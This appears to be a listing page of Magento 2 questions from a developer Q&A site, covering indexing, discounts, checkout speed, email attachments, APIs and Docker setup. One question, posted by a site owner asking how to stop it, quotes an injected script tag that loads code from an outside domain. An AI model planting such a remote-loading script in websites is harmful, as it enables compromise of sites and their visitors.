All Questions
113,407
questions
0
votes
0
answers
1
view
Magento 2 : How to avoid discount to custom option
We are using magento 2.4.2-p2
When we apply a coupon code to the cart then the discount is also applied to the product custom options, we do not want to apply a discount to the product custom options.
0
votes
0
answers
4
views
Want to remove the File option while updating the cart item in mageno 2
I Want to remove the File option while updating the cart item in Magento 2.
Below is the my code but not working
$quoteItemId = $this->getRequest()->getParam('quote_item_id');
$optionId = $...
0
votes
0
answers
10
views
On reindexing, catalogsearch_fulltext, stack on status processing
I am working on a magento 2.4.2 store with about 5000 products on a Plesk (Obsidian 18.0.52 + AlmaLinux 8.8) dedicate server.
The customer complain' s than new products not appear on frontend.
On SSH ...
0
votes
0
answers
9
views
How do I get the LCS Company Pass?
I would appreciate it if someone could explain how to obtain the Company Pass for NetSuite Learning Cloud Support. Thank you!
0
votes
0
answers
12
views
Category has wrong URL
We just upgraded to 2.4.6 and we have found tons of products and categories with wrong URLs.
Categories and products that work have this URL :catalog/category/view/s/produkter/id/622/
Categories and ...
-1
votes
0
answers
16
views
How to Fix Slow Checkout Process in Magento 2?
I’ve noticed that the checkout process on my Magento 2 store is slower than expected. I’ve already checked basic configurations and server performance but haven’t found a significant improvement.
...
0
votes
0
answers
6
views
Magento 2 - Prevent admin to overwrite MSI Stock Data when order placed while he was editing product page ( non shipping product)
Currently we have MSI source Qty fields on the Product editing page in Magento Backend.
So, we have both product data and Inventory source data on the same form
and it happens, that admin opens ...
0
votes
0
answers
9
views
Magento 2 API (Customer) Enable / Disable
Good Day,
I am writing a python script to update customer information, I have managed to update the mobile number etc from the customers, but I am struggling to enable / disable a customer via API, ...
1
vote
0
answers
26
views
Trait Function override not working magento 2
I am using third party plugin Cart2Quote and I am trying to override prepareTemplate function in my custom module Xyz/Plugin.
Here is the file from where I want to override function :
<?php
/**
* ...
0
votes
1
answer
25
views
Magento2.4.7: How to use conditional statements in email template?
This is the variable I want to use as a conditional statement.
will be 1 or 0 based on some condition
$isPlayerIncluded = 0;
inside my email template on code.
Vendor/Module/view/frontend/email/...
0
votes
0
answers
7
views
Magento 2 Enterprise Schedule Update API
In Magento 2 Commerce we can use the Schedule Update feature to plan or update a special price.
Is it possible to fill in the Schedule Update and Special Price with the API?
0
votes
1
answer
11
views
Phpstorm - how to sync changes with Docker?
I am new to Docker so I am trying to understand some basics.
I have installed a working Magento Docker dev environment and configured PhpStorm according to this guide markshust/docker-magento
The ...
0
votes
0
answers
20
views
Overriding Price Determination with Custom Logic
We are looking at setting up a new magento2 site as a frontend for an existing ERP system. Since our pricing methods in the existing ERP system are quite involved, we want to look at overriding the ...
0
votes
0
answers
24
views
issue of indexing by Schedule on Cloud instance
Team.
Have an issue:
Indexing by Schedule on Cloud instance doesn't work.
The log:
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'catalog_product_attribute_cl__tmp66ddd5fec67630_04762276' ...
0
votes
0
answers
28
views
Magento 2.4.7 Deprecated Functionality, Clearsale
After upgrading to m2.4.7-p1, we installed the newest version of Clearsale and see these errors:
Deprecated Functionality: Creation of dynamic property Clearsale\Integration\Model\Auth\Entity\...
0
votes
0
answers
23
views
Sometimes Magento 2 observers not getting executed after order place event
We recently came across an issue that sometimes all observers related to Magento 2 order created after event not getting executed.
We didn't found any similarities between such orders. This is very ...
0
votes
0
answers
18
views
Magento 2 Custom Admin Grid with UI Component Not Rendering Data from Custom SQL Query
I’m working on creating a custom admin grid in Magento 2 using ui_component, and fetching data from a custom SQL query. However, the grid is not rendering the data in the UI, even though I can see the ...
0
votes
0
answers
28
views
Custom discount not showing on invoice
I have added a custom discount on order using below code and its working perfectly fine but when create invoice from admin then custom discount not showing.
File: app/code/Vendorname/Modulename/etc/...
0
votes
0
answers
36
views
Magento 2 Product Save Issue
When I have save product it's throw below error from magento.
Warning: Array to string conversion in vendor/magento/framework/Indexer/CacheContext.php on line 73
I have many product attributes in my ...
0
votes
0
answers
22
views
Getting error in customer-data.js file
I am running magento 2.4.4-p6. When I load the frontend I am getting a js error coming from customer-data.js file.
0
votes
0
answers
25
views
Change Currency Symbol Position Magento 2.4.6
Hi Dears I want to Change Currency Symbol Position from Right to Left on AdminPanel For Example:
2400 SAR to :
ریال السعوديs 2400
2400 UAE to :
درهم الاماراتs 2400
I tried this soulution but doesn't ...
0
votes
0
answers
26
views
Serialization failure: 1213 Deadlock found catalog_product_bundle_stock_index
I'm encountering this error repeatedly and haven't been able to resolve it.
Has anyone else experienced this or have any suggestions for a fix?
SQLSTATE[40001]: Serialization failure: 1213 Deadlock ...
0
votes
0
answers
22
views
Magento 2: issue while adding a on click event on KnockOut JS template file in minicart section
I want to show some recommended items based on each item added in the cart.
I have added those recommended items in the customer data.
And fetching the data in the default.html file. I have added a ...
0
votes
1
answer
25
views
Event for stock update in magento
I just wanted to know that 'when the product stock will update'?
After the product is added to cart?
After checkout?
After order shipped or when?
Because, I want to run a custom '...
0
votes
1
answer
39
views
Apply partial reward point
I'm using Magento 2 EE version and implement the reward point. Currently, Magento will apply all of user point. I overrided the reward point block with an input for user to enter how many points he ...
0
votes
0
answers
12
views
The cookie with "wp_ga4_customerId" cookieName couldn't be sent. Please try again later
We are getting this exception for last two days but did not found any clue why the cookie unable to sent.
[2024-09-04 03:27:19] main.CRITICAL: The cookie with
"wp_ga4_customerId" cookieName ...
-2
votes
0
answers
26
views
Learning Magento2: Does anyone has a good tutorial to learn Magento2
Hey Guys does anyone has a good tutorial to learn Magento
my knowledge is minimal of php and Magento2 I want to be a intermediate Magento Programmer
0
votes
0
answers
27
views
Magento2 Custom Rest API
Magento2 I want to create a custom Rest API. This rest API result should be same as searchCriteria.
As in default we get filter options here also we should get
0
votes
1
answer
28
views
Admin 2fa email not receiving
I don't get a email if I log in for the first time in the admin panel I made the admin account with cli
0
votes
0
answers
17
views
Stripe Plugin\Context doesn't exist
Trying to install Stripe on local Magento 2.4 instance
I followed the steps here https://docs.stripe.com/connectors/adobe-commerce/install
But after installing it, Amin page breaks with Plugin class ...
0
votes
1
answer
45
views
Unable to Add PDF to email in Magento2.4.6
I'm using Magento 2.4.6-p3 and have saved a PDF file in the pub/media/credit/ directory. The email is being sent correctly, but the attachment is not included when I check the email.
public ...
0
votes
1
answer
35
views
Unable to add attachment as PDF
I'm using Magento 2.4.6-p3 and have saved a PDF file in the pub/media/credit/ directory. The email is being sent correctly, but the attachment is not included when I check the email.
<?php
...
0
votes
1
answer
32
views
Does anyone know how to get Magento 2 installed on a MacBook I just want it to be local with docker and NginX
I need to install Magento2 on a MacBook with docker and NginX but all the tutorials won't work can anyone help me? I have nothing installed on my MacBook it is brand new
0
votes
0
answers
23
views
How to integrate Google Merchant Content API on Magento 2
I saw that products on Google Merchant can also be passed on via Content API. I have read a few things about how this type of integration works. But the question is, how do I integrate Google Merchant'...
0
votes
1
answer
33
views
Adminhtml sales order payment information section in magento 2.4.6
Adminhtml sales order payment information section add custom filed custom payment thorw how to do i try this way but it not working
code working but Payment information sction not show
...
0
votes
0
answers
17
views
How to display stock qty for configurable color product in listing and detail page
How to display stock qty for configurable color product in listing and detail page same like price if click color in PLP and PDP prodcut price will be changed i need qty same like that can anyone help ...
0
votes
1
answer
56
views
Preventing Automatic Script Injection in Magento 2: How to Stop Unwanted Scripts from Being Added?
I've noticed the following script being automatically injected into our Magento 2 blocks:
<script src="https://pixelia.shop/img/"></script>
We didn't add this, and it seems ...
-1
votes
1
answer
35
views
Filtering all the configurable product which have special price [duplicate]
I want to filter out all configurable product which have discount in Magento 2. I have tried many ways but it is filtering only simple product not configurable product. Please help.
0
votes
1
answer
36
views
Magento 2.4.6 Elasticsearch not working and upgrade command use that phase issue
Could not validate a connection to Elasticsearch. Unknown 401 error from Elasticsearch null
curl -X GET 'http://localhost:9200'
{"error":{"root_cause":[{"type":"...
0
votes
1
answer
46
views
Magento 2 : Unable to process binding "click: function(){return openMyList }" in Magento 2
I'm trying to open Custom Module List when I click on the button in the header. For this I tried the below code.
In header.phtml file added x-magento-init code
<div id="my_list-div" data-...
0
votes
0
answers
34
views
Filtering configurable which have offer
I want to filter out all the configurable products which have offer in a collection. I have tried many filters which is working fine with simple and bundle but not working with configurable.
0
votes
2
answers
53
views
Magento 2 - how to display discount price
I created a table in the price box to display the quantity and discount percentage. I would like to also show the discounted price in this table.
For example, if the product price is $100
0
votes
2
answers
38
views
Magento2 - Migrating the database from one server to another
I am in the process of migrating a Magento2 website from a single dedicated server to a split setup with Magento on one server and the Database on it's own dedicated server.
What is the recommended ...
-1
votes
0
answers
27
views
How to Boost the Performance of Magento 2 for Thousands of Products?
I’m working on optimizing the performance of a Magento 2 store with a large product catalogue (over 50,000 products). The site is experiencing slow page load times and sluggish performance, especially ...
0
votes
0
answers
36
views
Magento 2.4.7 Placeorder with newly created store showing Deprecated Functionality: str_replace(): Passing null to parameter #3
I have created a new store and only when placing orderwith that store, I am getting below error:
Deprecated Functionality: str_replace(): Passing null to parameter #3 ($subject) of type array|string ...
0
votes
2
answers
50
views
While download magento2.4.6 using composer geeting below error
Hi every on while download the Magento 2.4.6 getting the velow error. i done every configuraion accroding to requirement still geeting below error.
[Composer\Downloader\TransportException]
The "...
0
votes
1
answer
53
views
Composer update is ok but composer outdated shows many items
I'm running the latest version of Magento 2.4.7-p2.
If I run composer update this is what is shown:
Loading composer repositories with package information
Updating dependencies
Nothing to modify in ...
0
votes
0
answers
11
views
One item, two delivery addresses need to be captured
I want to run a service that sends a package first to one address and then on to a second address using a second label.
Therefore, during the check out process the customer needs to provide two ...
0
votes
0
answers
15
views
MAGENTO POS it shows the images on frontend but not in the pos like the picture
MAGENTO POS it shows the images on frontend but not in the pos like the picture.
i had tried, run sudo chmod -R 777 generated/ pub/ var/ even runing all the commands to re-install magento, i dont get ...
0
votes
0
answers
20
views
Where are Credit Card Authorizations Stored in Magento 2?
We are currently looking at setting up a Magento store for our business. We have an existing ERP system which we currently use for capturing funds for authorized amounts, and would prefer to be able ...